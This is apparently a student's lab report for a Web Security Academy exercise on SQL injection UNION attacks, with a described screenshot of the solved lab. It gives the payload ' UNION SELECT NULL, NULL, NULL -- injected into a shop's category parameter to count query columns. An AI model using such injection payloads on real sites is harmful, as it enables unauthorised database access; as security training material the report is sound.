

Web Security Labs

SQL Injection Lab-03

M.Gobi Shankar

CB.SC.P2CYS23019

SQL injection UNION attack, determining the number of columns returned by the query

' + UNION + SELECT + NULL, NULL, NULL --

This command is use to determine how many columns are there in table. Instead of this we can use ORDER BY command also. If we give less or more number NULL it will display as error.

The screenshot shows a web browser window with two tabs. The active tab is titled "SQL injection UNION attack" and displays the URL: `https://0a1e00110345cf988138bb5a00c500f7.web-security-academy.net/?filter?category=' + UNION + SELECT + NULL, NULL, NULL --`. The page header includes the "WebSecurity Academy" logo and a notification "SQL injection UNION attack, determining the number of columns returned by the query" with a "LAB Solved" badge. Below the header, an orange banner reads "Congratulations, you solved the lab!". To the right of the banner are links for "Share your skills!" (with Twitter and LinkedIn icons) and "Continue learning >". At the bottom right, there are links for "Home" and "My account". The main content area features the text "WE LIKE TO SHOP" with a shopping bag icon, followed by the query "' UNION SELECT NULL, NULL, NULL --". Below this is a search bar with the text "Refine your search:" and a list of categories: "All", "Accessories", "Corporate gifts", "Food & Drink", "Tech gifts", and "Toys & Games".